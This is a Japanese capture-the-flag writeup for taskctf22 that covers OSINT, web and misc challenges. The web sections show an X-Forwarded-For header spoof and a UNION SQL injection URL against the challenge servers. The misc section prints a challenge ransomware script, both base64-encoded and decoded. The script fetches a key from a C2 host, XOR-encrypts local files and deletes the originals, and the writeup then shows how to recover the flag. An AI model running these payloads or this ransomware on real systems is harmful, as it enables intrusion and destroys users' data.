[taskctf22] My own writeup
2022/12/03(Sat) 00:00(JST) ~ 2022/12/04(Sun) 00:00(JST)の日程で開催されたtaskctf22に参加しました.
ユーザー名yuasa
で参加し, 1814ポイント獲得して24位でした.
writeupを以下に示します.
[osint] welcome
問題
2019年のtaskctfのwelcome問題のFlagは何でしたっけ?
解法
taskctf 2019
で検索するとst98さんのwriteupが見つかり、そこにwelcome問題のflagが書かれていました。
taskctf{let's_enj0y!}
[web] robots
問題
Flagが漏洩してるって聞いたけど、本当ですか???
http://34.82.208.2:31481/
解法
問題名から推測してrobots.txt
を見てみると, /admin/flag
というパスが存在することがわかります.
$ curl http://34.82.208.2:31481/robots.txt
User-Agent: *
Disallow: /admin/flag%
/admin/flag
を見ると, 内部のIPアドレスではないからダメと言われます.
$ curl http://34.82.208.2:31481/admin/flag
...
<div class="container">
<h1>401 Unauthorized</h1>
<p>153.246.178.236 is not internal IP address :(</p>
</div>
...
あるあるの手法であるX-Forwarded-Forヘッダーを127.0.0.1
に書き換えるやつを試すとflagが取得できました.
$ curl -H 'X-Forwarded-For: 127.0.0.1' http://34.82.208.2:31481/admin/flag
...
<h1>flag</h1>
<p>taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}</p>
taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}
[web] first
問題文
運営している小さな掲示板が100ユーザを達成しました 🎉
そこで、メンテ明けの12/6に100番目ちょうどの登録をしたユーザをトップページで掲載したいので、ユーザ名を taskctf{ユーザ名} で教えてください!
http://34.82.208.2:31555/
解法
配布されたapiサーバのコードを見ると, クエリパラメータを受け取ってSQL文にそのまま代入おり, SQLインジェクションが可能な状態になっています.
q = ''
if request.args.get('q') is not None:
q = request.args.get('q')
results = None
c = sqlite3.connect(db_name)
try:
cur = c.cursor()
cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
results = cur.fetchall()
except Exception as e:
traceback.print_exc()
return f'error: {e}', 500
finally:
c.close()
100番目に登録されたユーザーのユーザー名が欲しいです. そこで, UNION句を利用して100件ユーザーを取得し, HTMLにユーザーIDとユーザー名を表示させます. 以下のクエリを実行します.
http://34.82.208.2:31555/?q=hoge' UNION SELECT posts.id, users.id, users.name FROM posts INNER JOIN users LIMIT 100--
100番目のユーザーはSatomi_Kato
であることがわかります.
taskctf{Satomi_Kato}
[misc] ransomware
問題文
友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか?
解法
以下のhdb.sh
が配布されます.
#!/bin/sh
echo "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBnbG9iCmltcG9ydCBvcwoKQzIgPSAiaHR0cHM6Ly9jMi50YXNrNDIzMy5kZXYvYkQ3YkI3cGM1N2QyIgoKZGVmIG1haW4oKToKICAgICMgZ2V0IGEga2V5IGZyb20gYSBjMiBzZXJ2ZXIKICAgIGtleSA9IGludChyZXF1ZXN0cy5nZXQoQzIpLnRleHQpCgogICAgZmlsZXMgPSBnbG9iLmdsb2IoJy4vKicpCiAgICAjIGFkZGVkIGZvciBDVEY6KQogICAgYXNzZXJ0ICIuL3Rhc2tjdGZfZmxhZy50eHQiIGluIGZpbGVzCgogICAgIyBlbmNyeXB0IGFsbCBmaWxlcwogICAgZm9yIGZpbGUgaW4gZmlsZXM6CiAgICAgICAgIyBpZ25vcmUgdGhpcyBzY3JpcHQgYW5kIGRpcmVjdG9yaWVzCiAgICAgICAgaWYgb3MucGF0aC5iYXNlbmFtZShmaWxlKSA9PSBvcy5wYXRoLmJhc2VuYW1lKF9fZmlsZV9fKToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpZiBub3Qgb3MucGF0aC5pc2ZpbGUoZmlsZSk6CiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgICMgZW5jcnlwdCBhIHRhcmdldCBmaWxlCiAgICAgICAgZGF0YSA9IE5vbmUKICAgICAgICB3aXRoIG9wZW4oZmlsZSwgJ3InKSBhcyBmOgogICAgICAgICAgICBkYXRhID0gZi5yZWFkKCkgICAgICAgIAogICAgICAgIGVuY3J5cHRlZCA9ICIiCiAgICAgICAgZm9yIGNoIGluIGRhdGE6CiAgICAgICAgICAgIGVuY3J5cHRlZCArPSBjaHIob3JkKGNoKSBeIGtleSkKICAgICAgICB3aXRoIG9wZW4oZiJ7ZmlsZX0uZW5jcnlwdGVkIiwgJ3cnKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGVuY3J5cHRlZCkKICAgICAgICAKICAgICAgICAjIGRlbGV0ZSB0aGUgcmF3IGZpbGUKICAgICAgICBvcy5yZW1vdmUoZmlsZSkKICAgIAogICAgcHJpbnQoJ1wwMzNbMzFtISEhIFlPVVIgRkxBRyBIQVMgQkVFTiBFTkNSWVBURUQgISEhXDAzM1swbScpCiAgICBwcmludCgnXDAzM1szMW1Zb3UgaGF2ZSB0d28gY2hvaWNlcy4gVHJlYXQgbWUgd2hlbiBJIHNlZSB5b3UgbmV4dCB0aW1lLCBvciBkZWNyeXB0IGl0IHlvdXJzZWxmIGlmIHlvdSBjYW4gbG9sLlwwMzNbMG0nKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo=" | base64 -d | python3
hdb.sh
に記載されているbase64エンコードされたpythonコードをデコードすると以下が得られます.
#!/usr/bin/env python3
import requests
import glob
import os
C2 = "https://c2.task4233.dev/bD7bB7pc57d2"
def main():
# get a key from a c2 server
key = int(requests.get(C2).text)
files = glob.glob('./*')
# added for CTF:)
assert "./taskctf_flag.txt" in files
# encrypt all files
for file in files:
# ignore this script and directories
if os.path.basename(file) == os.path.basename(__file__):
continue
if not os.path.isfile(file):
continue
# encrypt a target file
data = None
with open(file, 'r') as f:
data = f.read()
encrypted = ""
for ch in data:
encrypted += chr(ord(ch) ^ key)
with open(f"{file}.encrypted", 'w') as f:
f.write(encrypted)
# delete the raw file
os.remove(file)
print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')
if __name__ == "__main__":
main()
以下の部分を見ると, ファイル内のテキストを一文字ずつ同一のkeyでXORしたものを結合して暗号化されたflagとし, ファイルに入力していることがわかります.
# encrypt a target file
data = None
with open(file, 'r') as f:
data = f.read()
encrypted = ""
for ch in data:
encrypted += chr(ord(ch) ^ key)
with open(f"{file}.encrypted", 'w') as f:
f.write(encrypted)
ちなみに, 暗号化されたflagは以下です.
䔘䔍䔟䔇䔏䔘䔊䔗䔔䕜䔞䔳䕝䔟䔳䔉䕘䔟䔕䔳䕛䕜䔳䕝䔁䔜䔀䔉䔁䔉䔂䕛䔑䕦
flagはtaskctf{}
の形式であるので, flagの一文字目はt
です. t
をkeyでXORしたものが, 暗号化されたflagの一文字目䔘
になります.
ガチャガチャXORしてみて, 大体keyが17000から18000だと当たりをつけて総当たりします. keyが特定できたら, flagを全て復元します. 以下のpythonコードを用いてkeyの特定とflagの復元を行います.
data = None
with open("./files/taskctf_flag.txt.encrypted", 'r') as f:
data = f.read()
decrypted = "t"
# identify the key
key = None
for k in range(17000, 18000):
c = chr(ord(data[0]) ^ k)
if decrypted[0] == c:
key = k
# decrypt file
decrypted = ""
for ch in data:
decrypted += chr(ord(ch) ^ key)
print(decrypted) # taskctf{x0r_1s_e4sy_70_1mplemen7}
taskctf{x0r_1s_e4sy_70_1mplemen7}
[osint] ramen
問題文
このラーメン屋の名前は何でしょう?
正式名称ではなく、漢字のみで taskctf{ラーメン屋の名前}の形式で回答してください。 ラーメン屋の名前がラーメン二郎であれば、 taskctf{二郎} がFlagになります。
解法
Googleレンズで検索すると, こちらのブログ記事が見つかります.
記載されている麻婆麺の画像が配布された画像と似ており, 店名である蝋燭屋をflagを提出してみると通りました.
taskctf{蝋燭屋}
[osint] kofun
問題
作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました… もしご存知なら教えてくれませんか?
Flagの形式はtaskctf{この古墳の名前の漢字表記} です。 例えば、 造山古墳 が答えならば taskctf{造山古墳} がフラグになります。
解法
問題文に書いてあるとおり, taskさんのツイートを調べると2022年8月14日に古墳に行っていました。
友達と古墳を20基程度回るなどした pic.twitter.com/ZqE77AKNlY
— task4233 (@task4233) August 14, 2022
配布された画像とともに埴輪がある古墳の画像もアップロードされていました. ツイートには「友達と古墳を20基程度回るなどした」と記載されています. どんだけ回ってんねん…
ツイートの埴輪が写っている画像をGoogleレンズで検索すると, 龍角寺古墳群の中のどこかだということがわかりました.
https://www.photolibrary.jp/img547/42580_5310773.html
Googleマップで調べると龍角寺古墳群には20基ほど古墳が存在していることがわかり, 解答の古墳はこの中にあるのではないかと予想しました.
しかし, それぞれに載っている写真を見ていてもそれらしいところはありません.
taskさんが一日で回ったのであれば, 付近にまだ古墳があるのではないかと思い, 少し範囲を広げて古墳を検索しました. すると, 上福田岩屋古墳が見つかりました. 写真に映る入り口らしきものも配布された画像のものと似ています.
上福田岩屋古墳でflagを提出すると通りました.
taskctf{上福田岩屋古墳}
感想
いつもはweb問しか解いている余裕がないのですが, 今回はosintやmiscなどの問題も楽しめました. osintをあまり解いたことがない人間としては, kofunの問題はosintの入門としてとても良い問題なのではないかと思いました.
task4233さんは毎年CTFを開催されていて本当にすごいです. 運営お疲れ様です, ありがとうございました.